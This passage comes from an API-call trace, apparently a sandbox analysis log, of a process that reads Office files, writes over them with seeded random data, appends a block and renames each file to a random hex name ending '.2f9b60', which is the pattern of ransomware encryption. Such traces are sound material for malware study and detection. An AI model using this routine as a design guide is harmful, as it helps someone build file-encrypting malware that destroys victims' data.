_Dest="4f") returned 2 [0222.917] sprintf (in: _Dest=0x431ad9c2, _Format="%c%c" | out: _Dest="f8") returned 2 [0222.917] sprintf (in: _Dest=0x431ad9c4, _Format="%c%c" | out: _Dest="64") returned 2 [0222.917] sprintf (in: _Dest=0x431ad9c6, _Format="%c%c" | out: _Dest="dd") returned 2 [0222.917] sprintf (in: _Dest=0x431ad9c8, _Format="%c%c" | out: _Dest="07") returned 2 [0222.917] sprintf (in: _Dest=0x431ad9ca, _Format="%c%c" | out: _Dest="79") returned 2 [0222.918] sprintf (in: _Dest=0x431ad9cc, _Format="%c%c" | out: _Dest="9c") returned 2 [0222.918] sprintf (in: _Dest=0x431ad9ce, _Format="%c%c" | out: _Dest="8e") returned 2 [0222.918] RtlInitAnsiString (in: DestinationString=0x27fffd08, SourceString="feb1efe6929d05d36914fc4b2812890d4ff864dd07799c8e" | out: DestinationString="feb1efe6929d05d36914fc4b2812890d4ff864dd07799c8e") [0222.918] RtlAnsiStringToUnicodeString (in: DestinationString=0x27fffcd8, SourceString="feb1efe6929d05d36914fc4b2812890d4ff864dd07799c8e", AllocateDestinationString=1 | out: DestinationString="feb1efe6929d05d36914fc4b2812890d4ff864dd07799c8e") returned 0x0 [0222.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430e9e50 [0222.919] wcscat (in: _Dest=0x202a5190, _Source="feb1efe6929d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\feb1efe6929d") returned="C:\\Program Files\\Microsoft Office\\Office14\\feb1efe6929d" [0222.919] wcscat (in: _Dest=0x202a5190, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\feb1efe6929d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\feb1efe6929d.2f9b60" [0222.919] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\feb1efe6929d.2f9b60", NtPathName=0x27fffcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\feb1efe6929d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0222.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b861800 Thread: id = 2281 os_tid = 0x38c [0143.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office14\\ospp.vbs")) returned 0x20 [0148.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.VBS", dwFileAttributes=0x20) returned 1 [0148.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office14\\ospp.vbs"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e10 [0148.571] GetFileSizeEx (in: hFile=0x1e10, lpFileSize=0x2ce6f880 | out: lpFileSize=0x2ce6f880*=49433) returned 1 [0148.572] SetFilePointerEx (in: hFile=0x1e10, liDistanceToMove=0xc115, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.572] ReadFile (in: hFile=0x1e10, lpBuffer=0x2ce6f800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ce6f848, lpOverlapped=0x0 | out: lpBuffer=0x2ce6f800*, lpNumberOfBytesRead=0x2ce6f848*=0x4, lpOverlapped=0x0) returned 1 [0148.573] SetFilePointerEx (in: hFile=0x1e10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8f50 [0148.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264110 [0148.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202641d0 [0148.574] NtQuerySystemTime (in: CurrentTime=0x2ce6f740 | out: CurrentTime=0x2ce6f740*=132462177537922000) returned 0x0 [0148.574] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x432486cd [0148.574] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x79afbb63 [0148.574] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x3d733949 [0148.574] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x2692e7c [0148.574] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x4af94c00 [0148.575] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x55932f42 [0148.575] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x6d9b8b88 [0148.575] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x1c38d3b8 [0148.575] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x2e8a3586 [0148.575] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x55cfc3c6 [0148.575] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x23450115 [0148.575] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x6703e5a2 [0148.575] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x5991fa2e [0148.575] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x560dddd7 [0148.575] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x755cb50d [0148.575] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x2b3d732a [0148.575] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x33bc687b [0148.575] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x73066699 [0148.575] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x69cb46c [0148.575] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x2f587b79 [0148.575] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x40fcfdca [0148.575] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x25e999ce [0148.575] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x4b25b685 [0148.575] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x3888ded4 [0148.575] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x41ce24a2 [0148.575] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x724f6aa1 [0148.575] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0xd1ed8f2 [0148.575] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x12a4ea20 [0148.575] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x7ba6ad13 [0148.575] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x66054d4 [0148.575] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x8f7c257 [0148.576] RtlRandomEx (in: Seed=0x2ce6f730 | out: Seed=0x2ce6f730) returned 0x1d120de [0148.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ba0 [0148.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ac0 [0148.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266870 [0148.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ac0) returned 1 [0148.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202641d0) returned 1 [0148.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8f50) returned 1 [0148.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42022d00 [0148.593] SetFilePointerEx (in: hFile=0x1e10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.593] ReadFile (in: hFile=0x1e10, lpBuffer=0x42022d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2ce6f7a0, lpOverlapped=0x0 | out: lpBuffer=0x42022d00*, lpNumberOfBytesRead=0x2ce6f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0148.594] SetFilePointerEx (in: hFile=0x1e10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd975d0 [0148.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ac0 [0148.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8f50 [0148.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8f50) returned 1 [0148.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42039560 [0148.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8f50 [0148.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202641d0 [0148.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202641d0) returned 1 [0148.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ac0) returned 1 [0148.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd975d0) returned 1 [0148.596] WriteFile (in: hFile=0x1e10, lpBuffer=0x42039560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2ce6f7a0, lpOverlapped=0x0 | out: lpBuffer=0x42039560*, lpNumberOfBytesWritten=0x2ce6f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0165.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42039560) returned 1 [0165.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42022d00) returned 1 [0165.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x42c19ce0 [0165.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059510 [0165.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8692c0 [0165.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19d40 [0165.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19d40) returned 1 [0165.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x42c19d40 [0165.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19d10 [0165.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19c20 [0165.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19c20) returned 1 [0165.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8692c0) returned 1 [0165.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059510) returned 1 [0165.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x169b30 [0165.872] SetFilePointerEx (in: hFile=0x1e10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0165.872] WriteFile (in: hFile=0x1e10, lpBuffer=0x169b30*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ce6f850, lpOverlapped=0x0 | out: lpBuffer=0x169b30*, lpNumberOfBytesWritten=0x2ce6f850*=0x102, lpOverlapped=0x0) returned 1 [0206.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0206.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb0e0 [0206.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa6e0 [0206.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa6e0) returned 1 [0206.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x42c0eae0 [0206.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa6e0 [0206.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa470 [0206.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa470) returned 1 [0206.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb0e0) returned 1 [0206.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0206.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x202aa470 [0206.750] sprintf (in: _Dest=0x202aa470, _Format="%c%c" | out: _Dest="d9") returned 2 [0206.750] sprintf (in: _Dest=0x202aa472, _Format="%c%c" | out: _Dest="50") returned 2 [0206.750] sprintf (in: _Dest=0x202aa474, _Format="%c%c" | out: _Dest="32") returned 2 [0206.750] sprintf (in: _Dest=0x202aa476, _Format="%c%c" | out: _Dest="be") returned 2 [0206.750] sprintf (in: _Dest=0x202aa478, _Format="%c%c" | out: _Dest="77") returned 2 [0206.750] sprintf (in: _Dest=0x202aa47a, _Format="%c%c" | out: _Dest="2c") returned 2 [0206.750] sprintf (in: _Dest=0x202aa47c, _Format="%c%c" | out: _Dest="46") returned 2 [0206.750] sprintf (in: _Dest=0x202aa47e, _Format="%c%c" | out: _Dest="20") returned 2 [0206.750] sprintf (in: _Dest=0x202aa480, _Format="%c%c" | out: _Dest="2a") returned 2 [0206.750] sprintf (in: _Dest=0x202aa482, _Format="%c%c" | out: _Dest="39") returned 2 [0206.750] sprintf (in: _Dest=0x202aa484, _Format="%c%c" | out: _Dest="fd") returned 2 [0206.750] sprintf (in: _Dest=0x202aa486, _Format="%c%c" | out: _Dest="6d") returned 2 [0206.750] sprintf (in: _Dest=0x202aa488, _Format="%c%c" | out: _Dest="5c") returned 2 [0206.750] sprintf (in: _Dest=0x202aa48a, _Format="%c%c" | out: _Dest="17") returned 2 [0206.750] sprintf (in: _Dest=0x202aa48c, _Format="%c%c" | out: _Dest="a1") returned 2 [0206.750] sprintf (in: _Dest=0x202aa48e, _Format="%c%c" | out: _Dest="e4") returned 2 [0206.750] RtlInitAnsiString (in: DestinationString=0x2ce6f8c8, SourceString="d95032be772c46202a39fd6d5c17a1e4" | out: DestinationString="d95032be772c46202a39fd6d5c17a1e4") [0206.751] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ce6f898, SourceString="d95032be772c46202a39fd6d5c17a1e4", AllocateDestinationString=1 | out: DestinationString="d95032be772c46202a39fd6d5c17a1e4") returned 0x0 [0206.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c2b0 [0206.751] wcscat (in: _Dest=0x1cebb0e0, _Source="d95032be" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\d95032be") returned="C:\\Program Files\\Microsoft Office\\Office14\\d95032be" [0206.751] wcscat (in: _Dest=0x1cebb0e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\d95032be.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\d95032be.2f9b60" [0206.751] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\d95032be.2f9b60", NtPathName=0x2ce6f870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\d95032be.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x431c69a0 Thread: id = 2282 os_tid = 0x790 [0143.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\ospp.htm")) returned 0x20 [0148.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.HTM", dwFileAttributes=0x20) returned 1 [0148.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\ospp.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d68 [0148.551] GetFileSizeEx (in: hFile=0x1d68, lpFileSize=0x2ca4fe20 | out: lpFileSize=0x2ca4fe20*=15621) returned 1 [0148.551] SetFilePointerEx (in: hFile=0x1d68, liDistanceToMove=0x3d01, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.551] ReadFile (in: hFile=0x1d68, lpBuffer=0x2ca4fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ca4fde8, lpOverlapped=0x0 | out: lpBuffer=0x2ca4fda0*, lpNumberOfBytesRead=0x2ca4fde8*=0x4, lpOverlapped=0x0) returned 1 [0148.553] SetFilePointerEx (in: hFile=0x1d68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8606c0 [0148.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85faf0 [0148.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8f50 [0148.554] NtQuerySystemTime (in: CurrentTime=0x2ca4fce0 | out: CurrentTime=0x2ca4fce0*=132462177537766000) returned 0x0 [0148.554] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x7df35475 [0148.554] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0xe9217b [0148.554] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x15686ba8 [0148.554] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x14762160 [0148.554] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x2880cd49 [0148.554] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x6652e46f [0148.554] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x7edcfe21 [0148.554] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x7d039537 [0148.554] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x56c28184 [0148.554] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x4a3221eb [0148.554] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x1f592505 [0148.554] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x2de5f899 [0148.554] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x655d573c [0148.554] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x1c8d7a34 [0148.554] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x627b4cab [0148.554] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x1adbb216 [0148.555] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x3a483c51 [0148.555] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x7f07d6e1 [0148.555] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x77643bcb [0148.555] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x18a0bb89 [0148.555] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x692ef5b5 [0148.555] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0xfb1a701 [0148.555] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x7fe3fa17 [0148.555] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x1f0d6efe [0148.555] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x7b213a59 [0148.555] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x6d02adff [0148.555] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x1aed1918 [0148.555] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x63e410da [0148.555] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x449ec32b [0148.555] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x230eae14 [0148.555] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x1ab2b8fb [0148.555] RtlRandomEx (in: Seed=0x2ca4fcd0 | out: Seed=0x2ca4fcd0) returned 0x58031300 [0148.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8ce0 [0148.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ac0 [0148.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9310 [0148.566] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ac0) returned 1 [0148.566] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8f50) returned 1 [0148.566] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8606c0) returned 1 [0148.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42013cc0 [0148.566] SetFilePointerEx (in: hFile=0x1d68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.566] ReadFile (in: hFile=0x1d68, lpBuffer=0x42013cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2ca4fd40, lpOverlapped=0x0 | out: lpBuffer=0x42013cc0*, lpNumberOfBytesRead=0x2ca4fd40*=0x3c00, lpOverlapped=0x0) returned 1 [0148.568] SetFilePointerEx (in: hFile=0x1d68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd975d0 [0148.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ac0 [0148.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8606c0 [0148.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8606c0) returned 1 [0148.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420178d0 [0148.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8606c0 [0148.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8f50 [0148.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8f50) returned 1 [0148.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ac0) returned 1 [0148.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd975d0) returned 1 [0148.569] WriteFile (in: hFile=0x1d68, lpBuffer=0x420178d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2ca4fd40, lpOverlapped=0x0 | out: lpBuffer=0x420178d0*, lpNumberOfBytesWritten=0x2ca4fd40*=0x3c00, lpOverlapped=0x0) returned 1 [0165.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420178d0) returned 1 [0165.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42013cc0) returned 1 [0165.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x42c19c20 [0165.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059510 [0165.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8692c0 [0165.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19c50 [0165.875] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19c50) returned 1 [0165.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x42c19c50 [0165.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19cb0 [0165.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19c80 [0165.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19c80) returned 1 [0165.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8692c0) returned 1 [0165.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059510) returned 1 [0165.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x169f70 [0165.877] SetFilePointerEx (in: hFile=0x1d68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0165.877] WriteFile (in: hFile=0x1d68, lpBuffer=0x169f70*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ca4fdf0, lpOverlapped=0x0 | out: lpBuffer=0x169f70*, lpNumberOfBytesWritten=0x2ca4fdf0*=0x102, lpOverlapped=0x0) returned 1 [0200.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0200.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866b40 [0200.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260800 [0200.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260800) returned 1 [0200.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x42c0f0e0 [0200.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260800 [0200.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263860 [0200.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263860) returned 1 [0200.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866b40) returned 1 [0200.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0200.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x20263860 [0200.428] sprintf (in: _Dest=0x20263860, _Format="%c%c" | out: _Dest="ec") returned 2 [0200.428] sprintf (in: _Dest=0x20263862, _Format="%c%c" | out: _Dest="b6") returned 2 [0200.428] sprintf (in: _Dest=0x20263864, _Format="%c%c" | out: _Dest="c4") returned 2 [0200.428] sprintf (in: _Dest=0x20263866, _Format="%c%c" | out: _Dest="f4") returned 2 [0200.428] sprintf (in: _Dest=0x20263868, _Format="%c%c" | out: _Dest="3c") returned 2 [0200.428] 